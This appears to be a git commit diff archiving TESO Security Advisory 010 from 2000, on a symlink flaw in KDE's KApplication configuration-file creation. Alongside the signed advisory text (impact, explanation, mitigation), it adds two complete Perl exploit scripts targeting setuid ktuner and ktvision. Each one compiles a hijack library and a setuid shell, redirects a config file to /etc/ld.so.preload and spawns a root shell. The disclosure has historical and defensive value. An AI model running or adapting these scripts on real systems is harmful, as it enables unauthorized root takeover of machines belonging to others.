diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /advisories/teso-advisory-010 | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'advisories/teso-advisory-010')
| -rwxr-xr-x | advisories/teso-advisory-010/7350ktuner | 86 | ||||
| -rwxr-xr-x | advisories/teso-advisory-010/7350ktvision | 85 | ||||
| -rw-r--r-- | advisories/teso-advisory-010/Makefile | 3 | ||||
| -rw-r--r-- | advisories/teso-advisory-010/a.out.cc | 14 | ||||
| l--------- | advisories/teso-advisory-010/kil3r | 1 | ||||
| -rw-r--r-- | advisories/teso-advisory-010/teso-advisory-010.txt | 175 |
6 files changed, 364 insertions, 0 deletions
diff --git a/advisories/teso-advisory-010/7350ktuner b/advisories/teso-advisory-010/7350ktuner new file mode 100755 index 0000000..9bcb360 --- /dev/null +++ b/advisories/teso-advisory-010/7350ktuner | |||
| @@ -0,0 +1,86 @@ | |||
| 1 | #!/usr/bin/perl | ||
| 2 | |||
| 3 | # | ||
| 4 | # 7350ktuner! The ktuner-hack. | ||
| 5 | # (a.k.a. kil3r for some reason :) | ||
| 6 | # | ||
| 7 | # Just execute. Gives instant rootshell kiddie! | ||
| 8 | # If only ktuner is setuid-root and vulnerable as with | ||
| 9 | # SuSE 6.4! | ||
| 10 | # | ||
| 11 | # When has this stupid race an end? | ||
| 12 | # | ||
| 13 | # Bugdiscovery is due to Sebastian Krahmer. | ||
| 14 | # http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 15 | # | ||
| 16 | # | ||
| 17 | # Greets as always to TESO, security.is, lam3rz ... you all | ||
| 18 | # know who you are. | ||
| 19 | # | ||
| 20 | # | ||
| 21 | |||
| 22 | my $rcfile = $ENV{"HOME"}."/.kde/share/config/ktunerrc"; | ||
| 23 | |||
| 24 | $ENV{"PATH"}.=":/opt/kde/bin"; | ||
| 25 | |||
| 26 | print ">>Get a feeling on GUI's and how secure they are.<< Stealth.\n"; | ||
| 27 | |||
| 28 | print "Creating hijack-lib ...\n"; | ||
| 29 | open O, ">/tmp/boom.c" or die "open(boom.c..)"; | ||
| 30 | print O<<_EOF_; | ||
| 31 | #include <sys/types.h> | ||
| 32 | |||
| 33 | int time(void *v) | ||
| 34 | { | ||
| 35 | chown("/tmp/boomsh", 0, 0); | ||
| 36 | chmod("/tmp/boomsh", 06755); | ||
| 37 | unlink("/etc/ld.so.preload"); | ||
| 38 | exit(1); | ||
| 39 | } | ||
| 40 | _EOF_ | ||
| 41 | close O; | ||
| 42 | |||
| 43 | print "Compiling hijack-lib ...\n"; | ||
| 44 | `cc -c -fPIC /tmp/boom.c -o /tmp/boom.o`; | ||
| 45 | `cc -shared /tmp/boom.o -o /tmp/boom.so`; | ||
| 46 | |||
| 47 | open O, ">/tmp/boomsh.c" or die "open(boomsh.c ...)"; | ||
| 48 | print O<<_EOF2_; | ||
| 49 | #include <stdio.h> | ||
| 50 | int main() | ||
| 51 | { | ||
| 52 | char *a[] = {"/bin/sh", 0}; | ||
| 53 | setuid(0); setregid(0, 0); | ||
| 54 | execve(a[0], a, 0); | ||
| 55 | return 0; | ||
| 56 | } | ||
| 57 | _EOF2_ | ||
| 58 | close O; | ||
| 59 | |||
| 60 | print "Compile shell ...\n"; | ||
| 61 | `cc /tmp/boomsh.c -o /tmp/boomsh`; | ||
| 62 | |||
| 63 | umask 0; | ||
| 64 | |||
| 65 | unlink $rcfile; | ||
| 66 | symlink "/etc/ld.so.preload", $rcfile; | ||
| 67 | |||
| 68 | print "Invoking vulnerable program (ktuner)...\n"; | ||
| 69 | |||
| 70 | if (fork() == 0) { | ||
| 71 | `ktuner`; | ||
| 72 | exit 0; | ||
| 73 | } else { | ||
| 74 | sleep(3); | ||
| 75 | kill 9, `pidof ktuner`; | ||
| 76 | } | ||
| 77 | |||
| 78 | open O, ">/etc/ld.so.preload" or die "Huh? Can't open preload."; | ||
| 79 | print O "/tmp/boom.so"; | ||
| 80 | close O; | ||
| 81 | `/usr/bin/passwd`; | ||
| 82 | |||
| 83 | # let it look like if we have sth. to do. :) | ||
| 84 | sleep 3; | ||
| 85 | print "Welcome. But as always: BEHAVE!\n"; | ||
| 86 | system("/tmp/boomsh"); | ||
diff --git a/advisories/teso-advisory-010/7350ktvision b/advisories/teso-advisory-010/7350ktvision new file mode 100755 index 0000000..2f8dbbd --- /dev/null +++ b/advisories/teso-advisory-010/7350ktvision | |||
| @@ -0,0 +1,85 @@ | |||
| 1 | #!/usr/bin/perl | ||
| 2 | |||
| 3 | # | ||
| 4 | # 7350ktvision! The ktvision-hack. | ||
| 5 | # | ||
| 6 | # Just execute. Gives instant rootshell kiddie! | ||
| 7 | # If only ktvision is setuid-root and vulnerable as with | ||
| 8 | # SuSE 6.4! | ||
| 9 | # | ||
| 10 | # | ||
| 11 | # Bugdiscovery is due to Sebastian Krahmer. | ||
| 12 | # http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 13 | # | ||
| 14 | # Greets as always to TESO, security.is, lam3rz ... you all | ||
| 15 | # know who you are. | ||
| 16 | # | ||
| 17 | # Special greets to that beautiful black-dressed woman at | ||
| 18 | # the bus stop. This one is for you. :) | ||
| 19 | # | ||
| 20 | |||
| 21 | my $rcfile = $ENV{"HOME"}."/.kde/share/config/ktvisionrc"; | ||
| 22 | |||
| 23 | $ENV{"PATH"}.=":/opt/kde/bin"; | ||
| 24 | |||
| 25 | print ">>Get a feeling on GUI's and how secure they are.<< Stealth.\n"; | ||
| 26 | |||
| 27 | print "Creating hijack-lib ...\n"; | ||
| 28 | open O, ">/tmp/boom.c" or die "open(boom.c..)"; | ||
| 29 | print O<<_EOF_; | ||
| 30 | #include <sys/types.h> | ||
| 31 | |||
| 32 | int time(void *v) | ||
| 33 | { | ||
| 34 | chown("/tmp/boomsh", 0, 0); | ||
| 35 | chmod("/tmp/boomsh", 06755); | ||
| 36 | unlink("/etc/ld.so.preload"); | ||
| 37 | exit(1); | ||
| 38 | } | ||
| 39 | _EOF_ | ||
| 40 | close O; | ||
| 41 | |||
| 42 | print "Compiling hijack-lib ...\n"; | ||
| 43 | `cc -c -fPIC /tmp/boom.c -o /tmp/boom.o`; | ||
| 44 | `cc -shared /tmp/boom.o -o /tmp/boom.so`; | ||
| 45 | |||
| 46 | open O, ">/tmp/boomsh.c" or die "open(boomsh.c ...)"; | ||
| 47 | print O<<_EOF2_; | ||
| 48 | #include <stdio.h> | ||
| 49 | int main() | ||
| 50 | { | ||
| 51 | char *a[] = {"/bin/sh", 0}; | ||
| 52 | setuid(0); setregid(0, 0); | ||
| 53 | execve(a[0], a, 0); | ||
| 54 | return 0; | ||
| 55 | } | ||
| 56 | _EOF2_ | ||
| 57 | close O; | ||
| 58 | |||
| 59 | print "Compile shell ...\n"; | ||
| 60 | `cc /tmp/boomsh.c -o /tmp/boomsh`; | ||
| 61 | |||
| 62 | umask 0; | ||
| 63 | |||
| 64 | unlink $rcfile; | ||
| 65 | symlink "/etc/ld.so.preload", $rcfile; | ||
| 66 | |||
| 67 | print "Invoking vulnerable program (ktvision)...\n"; | ||
| 68 | |||
| 69 | if (fork() == 0) { | ||
| 70 | `ktvision`; | ||
| 71 | exit 0; | ||
| 72 | } else { | ||
| 73 | sleep(3); | ||
| 74 | kill 9, `pidof ktvision`; | ||
| 75 | } | ||
| 76 | |||
| 77 | open O, ">/etc/ld.so.preload" or die "Huh? Can't open preload."; | ||
| 78 | print O "/tmp/boom.so"; | ||
| 79 | close O; | ||
| 80 | `/usr/bin/passwd`; | ||
| 81 | |||
| 82 | # let it look like if we have sth. to do. :) | ||
| 83 | sleep 3; | ||
| 84 | print "Welcome. But as always: BEHAVE!\n"; | ||
| 85 | system("/tmp/boomsh"); | ||
diff --git a/advisories/teso-advisory-010/Makefile b/advisories/teso-advisory-010/Makefile new file mode 100644 index 0000000..bf3229f --- /dev/null +++ b/advisories/teso-advisory-010/Makefile | |||
| @@ -0,0 +1,3 @@ | |||
| 1 | all: | ||
| 2 | c++ a.out.cc -I/opt/kde/include -I/usr/lib/qt/include /opt/kde/lib/libkdecore.so -lqt | ||
| 3 | \ No newline at end of file | ||
diff --git a/advisories/teso-advisory-010/a.out.cc b/advisories/teso-advisory-010/a.out.cc new file mode 100644 index 0000000..a4a9b53 --- /dev/null +++ b/advisories/teso-advisory-010/a.out.cc | |||
| @@ -0,0 +1,14 @@ | |||
| 1 | #include <string.h> | ||
| 2 | #include <stdlib.h> | ||
| 3 | #include <stdio.h> | ||
| 4 | #include <kapp.h> | ||
| 5 | |||
| 6 | |||
| 7 | int main(int argc, char **argv) | ||
| 8 | { | ||
| 9 | KApplication *base = new KApplication(argc, argv); | ||
| 10 | |||
| 11 | base->exec(); | ||
| 12 | return 0; | ||
| 13 | } | ||
| 14 | |||
diff --git a/advisories/teso-advisory-010/kil3r b/advisories/teso-advisory-010/kil3r new file mode 120000 index 0000000..ce4e021 --- /dev/null +++ b/advisories/teso-advisory-010/kil3r | |||
| @@ -0,0 +1 @@ | |||
| 7350ktuner \ No newline at end of file | |||
diff --git a/advisories/teso-advisory-010/teso-advisory-010.txt b/advisories/teso-advisory-010/teso-advisory-010.txt new file mode 100644 index 0000000..46e3522 --- /dev/null +++ b/advisories/teso-advisory-010/teso-advisory-010.txt | |||
| @@ -0,0 +1,175 @@ | |||
| 1 | -----BEGIN PGP SIGNED MESSAGE----- | ||
| 2 | Hash: SHA1 | ||
| 3 | |||
| 4 | |||
| 5 | - ------ | ||
| 6 | |||
| 7 | TESO Security Advisory | ||
| 8 | 2000/05/29 | ||
| 9 | |||
| 10 | KDE KApplication {} configfile vulnerability | ||
| 11 | |||
| 12 | |||
| 13 | Summary | ||
| 14 | =================== | ||
| 15 | |||
| 16 | A bug within the KDE configuration-file management has been | ||
| 17 | discovered. | ||
| 18 | Due to insecure creation of configuration files via KApplication-class, | ||
| 19 | local lusers can create arbitrary files when running setuid root | ||
| 20 | KDE-programs. | ||
| 21 | This can result in a complete compromise of the system. | ||
| 22 | |||
| 23 | |||
| 24 | Systems Affected | ||
| 25 | =================== | ||
| 26 | |||
| 27 | The vulnerability is at least present within KDE 1.1.2. | ||
| 28 | All tests were performed on a SuSE 6.4 standard installation. | ||
| 29 | |||
| 30 | |||
| 31 | Tests | ||
| 32 | =================== | ||
| 33 | |||
| 34 | bash-2.03$ nl /tmp/a.out.cc | ||
| 35 | 1 #include <string.h> | ||
| 36 | 2 #include <stdlib.h> | ||
| 37 | 3 #include <stdio.h> | ||
| 38 | 4 #include <kapp.h> | ||
| 39 | |||
| 40 | |||
| 41 | 5 int main(int argc, char **argv) | ||
| 42 | 6 { | ||
| 43 | 7 KApplication *base = new KApplication(argc, argv); | ||
| 44 | |||
| 45 | 8 base->exec(); | ||
| 46 | 9 return 0; | ||
| 47 | 10 } | ||
| 48 | 11 | ||
| 49 | bash-2.03$ ls -la /etc/foo | ||
| 50 | ls: /etc/foo: No such file or directory | ||
| 51 | |||
| 52 | bash-2.04$ ln -s /etc/foo ~/.kde/share/config/a.outrc | ||
| 53 | bash-2.03$ ls -la /tmp/a.out | ||
| 54 | -rwsr-sr-x 1 root root 19450 May 28 14:14 /tmp/a.out | ||
| 55 | bash-2.03$ /tmp/a.out | ||
| 56 | ^C | ||
| 57 | |||
| 58 | bash-2.03$ ls -la /etc/foo | ||
| 59 | -rw-rw-rw- 1 stealth 500 0 May 28 14:26 /etc/foo | ||
| 60 | bash-2.03$ | ||
| 61 | |||
| 62 | (Output formatted to improve readability). | ||
| 63 | |||
| 64 | |||
| 65 | Impact | ||
| 66 | =================== | ||
| 67 | |||
| 68 | An attacker may gain local root-access to a system where vulnerable KDE | ||
| 69 | distributions are installed. | ||
| 70 | Due to the GUI-nature of KDE, it might become difficult for an attacker | ||
| 71 | to gain a root-shell on a remote system. However, the individual could | ||
| 72 | modify the DISPLAY environment variable to redirect the output to one | ||
| 73 | of his own machines. | ||
| 74 | A vulnerable system must have at least one setuser-id program | ||
| 75 | installed which utilizes the KApplication class. | ||
| 76 | Such programs include ktvision and ktuner, for an example. | ||
| 77 | |||
| 78 | |||
| 79 | Explanation | ||
| 80 | =================== | ||
| 81 | |||
| 82 | Obviously, KDE doesn't check for possible symlinks when creating | ||
| 83 | configuration-files. This may result in arbitrary file-creation or | ||
| 84 | chmod's of any file. | ||
| 85 | We assume the bug is within the KApplication::init() function: | ||
| 86 | |||
| 87 | ... | ||
| 88 | |||
| 89 | // now for the local app config file | ||
| 90 | QString aConfigName = KApplication::localkdedir(); | ||
| 91 | aConfigName += "/share/config/"; | ||
| 92 | aConfigName += aAppName; | ||
| 93 | aConfigName += "rc"; | ||
| 94 | |||
| 95 | QFile aConfigFile( aConfigName ); | ||
| 96 | ... | ||
| 97 | |||
| 98 | |||
| 99 | This instanciation probably creates the file. However we haven't checked | ||
| 100 | QFile {} further. | ||
| 101 | |||
| 102 | |||
| 103 | Solution | ||
| 104 | =================== | ||
| 105 | |||
| 106 | Neither run KDE applications setuid nor setgid. | ||
| 107 | The KDE developers have been informed. A patch should be made available | ||
| 108 | soon. Upgrade as promptly as possible. | ||
| 109 | |||
| 110 | |||
| 111 | Acknowledgments | ||
| 112 | ================ | ||
| 113 | |||
| 114 | The bug-discovery and the demonstration programs are due to | ||
| 115 | Sebastian "Stealth" Krahmer [1]. | ||
| 116 | Further checking on different distributions have been made | ||
| 117 | by Scut. | ||
| 118 | |||
| 119 | This advisory was written by Sebastian and Scut. | ||
| 120 | |||
| 121 | |||
| 122 | Contact Information | ||
| 123 | =================== | ||
| 124 | |||
| 125 | The TESO crew can be reached by mailing to teso@coredump.cx. | ||
| 126 | Our web page is at http://teso.scene.at/ | ||
| 127 | |||
| 128 | Stealth may be reached through [1]. | ||
| 129 | |||
| 130 | |||
| 131 | References | ||
| 132 | =================== | ||
| 133 | |||
| 134 | [1] http://www.cs.uni-potsdam.de/homepages/students/linuxer/ | ||
| 135 | |||
| 136 | [2] TESO | ||
| 137 | http://teso.scene.at or https://teso.scene.at/ | ||
| 138 | |||
| 139 | |||
| 140 | Disclaimer | ||
| 141 | =================== | ||
| 142 | |||
| 143 | This advisory does not claim to be complete or to be usable for any | ||
| 144 | purpose. Especially information about the vulnerable systems may be | ||
| 145 | inaccurate or wrong. The supplied exploit is not to be used for malicious | ||
| 146 | purposes, but for educational purposes only. | ||
| 147 | |||
| 148 | This advisory is free for open distribution in unmodified form. | ||
| 149 | Articles that are based on information from this advisory should include | ||
| 150 | links [1] and [2]. | ||
| 151 | |||
| 152 | |||
| 153 | Exploit | ||
| 154 | =================== | ||
| 155 | |||
| 156 | We've created a working demonstration program to exploit the vulnerability. | ||
| 157 | |||
| 158 | The exploit is available from | ||
| 159 | |||
| 160 | http://teso.scene.at/ or https://teso.scene.at/ | ||
| 161 | |||
| 162 | and | ||
| 163 | |||
| 164 | http://www.cs.uni-potsdam.de/homepages/students/linuxer/ | ||
| 165 | |||
| 166 | |||
| 167 | - ------ | ||
| 168 | -----BEGIN PGP SIGNATURE----- | ||
| 169 | Version: GnuPG v1.0.0 (GNU/Linux) | ||
| 170 | Comment: For info see http://www.gnupg.org | ||
| 171 | |||
| 172 | iD8DBQE5MWgLcZZ+BjKdwjcRAqJfAJwM5ksv/2dm7liESPMlYkQevZcfiACfb45I | ||
| 173 | 0Xp/9kMRr1FTMV6r0qh+lao= | ||
| 174 | =6q3d | ||
| 175 | -----END PGP SIGNATURE----- | ||
